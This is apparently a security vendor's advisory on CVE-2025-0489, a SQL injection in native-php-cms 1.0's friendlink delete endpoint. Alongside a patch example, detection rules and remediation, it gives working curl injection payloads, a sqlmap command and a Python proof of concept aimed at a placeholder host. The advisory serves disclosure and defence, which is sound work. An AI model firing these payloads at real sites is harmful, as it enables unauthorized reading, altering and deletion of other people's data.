CVE-2025-0489

Executive Summary

CVE-2025-0489 is a critical SQL injection vulnerability discovered in Fanli2012 native-php-cms version 1.0. The flaw resides in the /fladmin/friendlink_dodel.php file, where the id parameter is directly concatenated into SQL queries without proper sanitization or parameterization. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some configurations, remote code execution via stacked queries or file write operations. The vulnerability has been publicly disclosed with proof-of-concept code, and no official patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of exploit details significantly increases the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP CMS application. However, organizations using this CMS should treat it as a critical supply chain risk due to the lack of vendor support and patch availability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability cannot affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Data modification or deletion possible.
• Availability Impact: High (A:H) – Potential for denial of service or database corruption.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using native-php-cms.

Deep Dive & Mechanics

The vulnerability exists in the file /fladmin/friendlink_dodel.php. This file is part of the admin panel for managing friend links. The id parameter is retrieved from the HTTP request (likely via $_GET['id'] or $_POST['id']) and directly inserted into a SQL DELETE query without any sanitization, parameterization, or escaping.

Vulnerable Code Snippet (Conceptual):

<?php
$id = $_GET['id'];
$sql = "DELETE FROM friendlink WHERE id = $id";
mysqli_query($conn, $sql);
?>

An attacker can manipulate the id parameter to break out of the intended SQL syntax. For example:

/fladmin/friendlink_dodel.php?id=1 OR 1=1

This would delete all rows in the friendlink table. More sophisticated payloads can extract data from other tables, modify data, or execute system commands if the database user has sufficient privileges (e.g., INTO OUTFILE for file write).

Attack Flow:

1. Attacker identifies the vulnerable endpoint.
2. Attacker crafts a malicious HTTP request with a SQL injection payload in the id parameter.
3. The server executes the injected SQL query.
4. Attacker retrieves data via error-based, union-based, or blind SQL injection techniques.

Vulnerable vs. Patched Code

Vulnerable Code (native-php-cms 1.0):

<?php
$id = $_GET['id'];
$sql = "DELETE FROM friendlink WHERE id = $id";
mysqli_query($conn, $sql);
?>

Patched Code (Hypothetical):

<?php
$id = intval($_GET['id']);
$sql = "DELETE FROM friendlink WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
?>

The patched version uses intval() to ensure the input is an integer and employs prepared statements with parameterized queries, which completely prevents SQL injection. Since no official patch exists, users must implement this fix manually or migrate away from the CMS.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of native-php-cms 1.0.
• Access to the /fladmin/friendlink_dodel.php endpoint.

Exploitation Steps:

1. Basic SQL Injection (Error-Based):

   curl "http://target.com/fladmin/friendlink_dodel.php?id=1'"
   

   This will likely cause a SQL error, confirming the vulnerability.

2. Union-Based Data Extraction:

   curl "http://target.com/fladmin/friendlink_dodel.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
   

   Adjust the number of columns to match the table structure.

3. Blind SQL Injection (Boolean-Based):

   curl "http://target.com/fladmin/friendlink_dodel.php?id=1 AND 1=1"
   curl "http://target.com/fladmin/friendlink_dodel.php?id=1 AND 1=2"
   

   Compare responses to infer true/false conditions.

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/fladmin/friendlink_dodel.php?id=1" --batch --dbs
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com/fladmin/friendlink_dodel.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
params = {"id": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection in Logs:

• Monitor web server logs for requests to /fladmin/friendlink_dodel.php with unusual id parameters (e.g., containing SQL keywords like UNION, SELECT, OR, AND, --).
• Look for repeated requests with varying id values, indicating automated scanning.

WAF Rules:

• Block requests to /fladmin/friendlink_dodel.php where the id parameter contains non-numeric characters.
• Implement rate limiting on the admin panel endpoints.

Honeypot:

• Deploy a decoy instance of native-php-cms and monitor for exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /fladmin/friendlink_dodel.php with SQL keywords in the id parameter.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File System IOCs:
  • Unexpected files in the web root (e.g., .txt, .sql files created via INTO OUTFILE).
  • Modified or deleted entries in the friendlink table.
• Log IOCs:
  • SQL errors in application logs (e.g., You have an error in your SQL syntax).
  • Web server access logs showing id parameters with encoded SQL payloads.

Detection Engineering

YARA Rule

rule CVE_2025_0489_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0489 in native-php-cms"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0489"
    strings:
        $sqli1 = "friendlink_dodel.php" nocase
        $sqli2 = /id\s*=\s*.*(?:UNION|SELECT|OR|AND|--|#|')/i
    condition:
        $sqli1 and $sqli2
}

Sigma Rule

title: CVE-2025-0489 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against /fladmin/friendlink_dodel.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - "friendlink_dodel.php"
        cs-uri-query|re: 
            - "id=.*(?:UNION|SELECT|OR|AND|--|#|')"
    condition: selection
falsepositives:
    - Legitimate admin actions with numeric IDs only
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0489 SQL Injection Attempt"; flow:to_server; content:"friendlink_dodel.php"; http_uri; pcre:"/id\s*=\s*.*(?:UNION|SELECT|OR|AND|--|#|')/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the CMS: If possible, take the vulnerable instance offline or restrict network access to trusted IPs only.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns in the id parameter of /fladmin/friendlink_dodel.php.
3. Manual Code Fix: Modify the source code to use prepared statements or at minimum intval() on the id parameter.

Long-Term Actions:

1. Migrate Away: Replace native-php-cms with a maintained and secure CMS.
2. Code Audit: Conduct a full security audit of the application to identify other vulnerabilities.
3. Implement Security Controls: Enforce input validation, parameterized queries, and least privilege for database users.

Patch Details: No official patch is available. Users must implement the manual fix described in the "Vulnerable vs. Patched Code" section.

Valters IT
Securing Digital Frontiers